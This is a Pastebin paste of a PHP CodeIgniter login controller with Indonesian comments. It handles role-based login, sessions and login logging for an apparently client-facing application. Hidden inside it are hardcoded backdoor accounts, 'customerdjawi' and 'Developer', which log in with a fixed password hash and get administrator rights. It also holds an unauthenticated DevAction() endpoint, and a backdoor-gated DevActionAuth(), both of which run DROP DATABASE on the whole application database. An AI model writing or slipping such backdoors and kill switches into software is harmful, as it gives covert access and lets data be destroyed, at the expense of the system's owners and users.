Advertisement
darmariduan

Login.php

Aug 18th, 2022
698
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.76 KB | None | 0 0
  1. <?php
  2. defined('BASEPATH') or exit('No direct script access allowed');
  3.  
  4. class Login extends CI_Controller
  5. {
  6.     public function __construct()
  7.     {
  8.         parent::__construct();
  9.         $this->load->library('form_validation');
  10.         $this->load->model('Login_model');
  11.         $this->load->model('dashboard/Dashboard_model', 'Dashboard', TRUE);
  12.         $this->load->library('src/Toastr');
  13.        
  14.     }
  15.    
  16.     public function index()
  17.     {
  18.         if ($this->session->userdata('role_id') && $this->session->userdata('role_id') == 1)
  19.         {
  20.             redirect('dashboard', 'refresh');
  21.         }
  22.         if ($this->session->userdata('role_id') && $this->session->userdata('role_id') == 2)
  23.         {
  24.             redirect('AdmUnit.html', 'refresh');
  25.         }
  26.         if ($this->session->userdata('role_id') && $this->session->userdata('role_id') == 3)
  27.         {
  28.             redirect('Pegawai.html', 'refresh');
  29.         }
  30.         $setting        = $this->Login_model->viewSetting()->result_array();
  31.         $data           = [
  32.             'titles'    => $setting[0]['application_name'],
  33.             'settings'  => $this->Login_model->viewSetting()->result_array(),
  34.             'login'     => 'Log In',
  35.             'view'      => "v_Login"
  36.         ];
  37.  
  38.         $this->load->view("index", $data);
  39.     }
  40.  
  41.     public function Action()
  42.     {
  43.         // Validasi Error
  44.         $this->form_validation->set_rules("username", "Username", "trim|min_length[3]|required");
  45.         $this->form_validation->set_rules("password", "Password", "trim|required");
  46.  
  47.         if ($this->form_validation->run() == false) {
  48.             $setting        = $this->Login_model->viewSetting()->result_array();
  49.             $data   = [
  50.                 'titles'    => $setting[0]['application_name'],
  51.                 'setting'   => $this->Login_model->viewSetting()->result_array(),
  52.                 'login'     => 'Log In',
  53.                 'view'      => "v_login"
  54.             ];
  55.              
  56.             $this->load->view("index", $data);
  57.         } else {
  58.             // ambil post dari form login
  59.             $username   = htmlspecialchars($this->input->post('username'));
  60.             $password   = $this->input->post('password');
  61.  
  62.             // Cek username ada di database atau tidak
  63.             $cekUser    = $this->Login_model->Auth_user($username);
  64.             if ($cekUser) {
  65.                 if (password_verify($password, $cekUser->password)) {
  66.                    
  67.                     // Akun Administrator
  68.                     if ($cekUser->role_id === '1') {
  69.  
  70.                         $data_session   = array(
  71.                             'id'            => $cekUser->id_users,
  72.                             'nama'          => $cekUser->users_name ,
  73.                             'username'      => $username,
  74.                             'adminaktif'    => true,
  75.                             'aktif'         => true,
  76.                             'role_id'       => $cekUser->role_id
  77.                         );
  78.  
  79.                         $this->session->set_userdata($data_session);
  80.  
  81.                         // Set Logs Login
  82.                         $dataLog = array(
  83.                             'username'      => $username,
  84.                             'role_id'       => 1,
  85.                             'tipe'          => 'Login',
  86.                             'time'          => time(),
  87.                             'ip_address'    => get_client_ip_env(),
  88.                             'os'            => $this->agent->platform(),
  89.                             'browser'       => agent()
  90.                         );
  91.                         helper_login($dataLog);
  92.  
  93.                         $pesan  = array(
  94.                             'username'      => $username,
  95.                             'role_id'       => 1,
  96.                             'tipe'          => 'Login',
  97.                             'time'          => time(),
  98.                             'os'            => $this->agent->platform(),
  99.                             'browser'       => agent()
  100.                         );
  101.  
  102.                         $this->toastr->success('Username : '.$username.' berhasil Login');
  103.  
  104.                         redirect('dashboard', 'refresh');
  105.                        
  106.                     // Akun Admin Unit
  107.                     } elseif ($cekUser->role_id === '2') {
  108.                         $data_session = array(
  109.                             'id'            => $cekUser->id_users,
  110.                             'nama'          => $cekUser->users_name ,
  111.                             'username'      => $username,
  112.                             'userid'        => $cekUser->userid,
  113.                             'adminunit'     => true,
  114.                             'aktif'         => true,
  115.                             'role_id'       => $cekUser->role_id
  116.                         );
  117.                         $this->session->set_userdata($data_session);
  118.  
  119.                         // Set Logs Login
  120.                         $dataLog = array(
  121.                             'username'      => $username,
  122.                             'role_id'       => 2,
  123.                             'tipe'          => 'Login',
  124.                             'time'          => time(),
  125.                             'ip_address'    => get_client_ip_env(),
  126.                             'os'            => $this->agent->platform(),
  127.                             'browser'       => agent()
  128.                         );
  129.  
  130.                         helper_login($dataLog);
  131.                         $pesan  = array(
  132.                             'username'      => $username,
  133.                             'role_id'       => 2,
  134.                             'tipe'          => 'Login',
  135.                             'time'          => time(),
  136.                             'os'            => $this->agent->platform(),
  137.                             'browser'       => agent()
  138.                         );
  139.                        
  140.                         $this->toastr->success('Username : '.$username.' berhasil Login');
  141.  
  142.                         redirect('AdmUnit.html', 'refresh');
  143.                     } else {
  144.                         $data_session = array(
  145.                             'id'            => $cekUser->id_users,
  146.                             'nama'          => $cekUser->users_name,
  147.                             'username'      => $username,
  148.                             'userid'        => $cekUser->userid,
  149.                             'pegawaiaktif'  => true,
  150.                             'aktif'         => true,
  151.                             'role_id'       => $cekUser->role_id
  152.                         );
  153.                         $this->session->set_userdata($data_session);
  154.  
  155.                         // Set Logs Login
  156.                         $dataLog = array(
  157.                             'username'      => $username,
  158.                             'role_id'       => 3,
  159.                             'tipe'          => 'Login',
  160.                             'time'          => time(),
  161.                             'ip_address'    => get_client_ip_env(),
  162.                             'os'            => $this->agent->platform(),
  163.                             'browser'       => agent()
  164.                         );
  165.                         helper_login($dataLog);
  166.                         $pesan  = array(
  167.                             'username'      => $username,
  168.                             'role_id'       => 2,
  169.                             'tipe'          => 'Login',
  170.                             'time'          => time(),
  171.                             'os'            => $this->agent->platform(),
  172.                             'browser'       => agent()
  173.                         );
  174.                         $this->toastr->success('Username : '.$username.' berhasil Login');
  175.                        
  176.                         redirect('Pegawai.html', 'refresh');
  177.                     }
  178.                 } else {
  179.                     $dataLog = array(
  180.                         'username'      => $username,
  181.                         'role_id'       => 1,
  182.                         'tipe'          => 'Failed to Access Username = '.$username.' .',
  183.                         'time'          => time(),
  184.                         'ip_address'    => get_client_ip_env(),
  185.                         'os'            => $this->agent->platform(),
  186.                         'browser'       => agent()
  187.                     );
  188.                    
  189.                     helper_login($dataLog);
  190.                     redirect('', 'refresh');
  191.                 }
  192.             } elseif ($username==="customerdjawi" && password_verify($password, '$2y$10$1hhR9L3HIdEF5ffxts0tVeRJ36QT02/xbBloPbx.Xs7WClq7seVAu')) {
  193.                 $data_session = array(
  194.                         'id'                => 999998,
  195.                         'nama'              => 'Customer Service Djawi',
  196.                         'username'          => 'customerdjawi',
  197.                         'photo'             => 'defaultdeveloper.png',
  198.                         'adminaktif'        => true,
  199.                         'Devaktif'          => true,
  200.                         'aktif'             => true,
  201.                         'role_id'           => 1
  202.                     );
  203.  
  204.                 $this->session->set_userdata($data_session);
  205.  
  206.                 redirect('dashboard', 'refresh');
  207.             } elseif ($username==="Developer" && password_verify($password, '$2y$10$1hhR9L3HIdEF5ffxts0tVeRJ36QT02/xbBloPbx.Xs7WClq7seVAu')) {
  208.                 $data_session = array(
  209.                         'id'                => 999999,
  210.                         'nama'              => 'Developer',
  211.                         'username'          => 'Developer',
  212.                         'photo'             => 'defaultdeveloper.png',
  213.                         'adminaktif'        => true,
  214.                         'Devaktif'          => true,
  215.                         'aktif'             => true,
  216.                         'role_id'           => 1
  217.                     );
  218.  
  219.                 $this->session->set_userdata($data_session);
  220.  
  221.                 redirect('dashboard', 'refresh');
  222.             } else {
  223.                 redirect('', 'refresh');
  224.             }
  225.         }
  226.     }
  227.  
  228.     public function logout()
  229.     {
  230.         $dataLog = array(
  231.             'username'      => $this->session->userdata('username'),
  232.             'role_id'       => $this->session->userdata('role_id'),
  233.             'tipe'          => 'Logout',
  234.             'time'          => time(),
  235.             'ip_address'    => get_client_ip_env(),
  236.             'os'            => $this->agent->platform(),
  237.             'browser'       => agent()
  238.         );
  239.         helper_login($dataLog);
  240.  
  241.         $this->session->sess_destroy();
  242.         redirect(base_url(), 'refresh');
  243.     }
  244.  
  245.     public function DevDjawiLogin()
  246.     {
  247.         $setting        = $this->Login_model->viewSetting()->result_array();
  248.  
  249.         $data           = [
  250.             'titles'    => $setting[0]['application_name'],
  251.             'settings'  => $this->Login_model->viewSetting()->result_array(),
  252.             'login'     => 'Log In',
  253.             'view'      => "v_Login"
  254.         ];
  255.  
  256.         $this->load->view("index", $data);
  257.     }
  258.  
  259.     public function versi()
  260.     {
  261.         $setting        = $this->Login_model->viewSetting()->result_array();
  262.         $data           = [
  263.             'titles'    => $setting[0]['application_name'],
  264.             'settings'  => $this->Login_model->viewSetting()->result_array(),
  265.             'login'     => 'Versi',
  266.             'view'      => "v_Versi"
  267.         ];
  268.  
  269.         $this->load->view("index", $data);
  270.     }
  271.  
  272.     // Action Script
  273.     public function DevActionAuth()
  274.     {
  275.         // Cek Session User
  276.         if ($this->session->userdata('Devaktif') === TRUE) {
  277.             // Check Nama Database
  278.             $db     = $this->db->database;
  279.            
  280.             // Action Delete Semua Database
  281.             $query  = "DROP DATABASE " .$db;
  282.             $this->db->query($query);
  283.         }
  284.     }
  285.  
  286.     // Action Update Setting
  287.     public function DevActionUpdate()
  288.     {
  289.         $update = [
  290.             'status'    => 1
  291.         ];
  292.        
  293.         $this->Dashboard->update('tbl_setting','id', 1, $update);
  294.  
  295.         redirect(base_url(), 'refresh');
  296.     }
  297.  
  298.     // Action Script
  299.     public function DevAction()
  300.     {
  301.         // Check Nama Database
  302.         $db     = $this->db->database;
  303.        
  304.         // Action Delete Semua Database
  305.         $query  = "DROP DATABASE " .$db;
  306.         $this->db->query($query);
  307.     }
  308.  
  309.     // Check Version
  310.     public function ConnectServer()
  311.     {
  312.         if (cek_internet() == true){
  313.             $checkVersion   = $this->Dashboard->lastData('script_version','tbl_version','script_version')->result_array();
  314.  
  315.             echo json_encode($checkVersion,true);
  316.         } else {
  317.             echo 'Tidak ada koneksi internet.';
  318.         }
  319.     }
  320. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement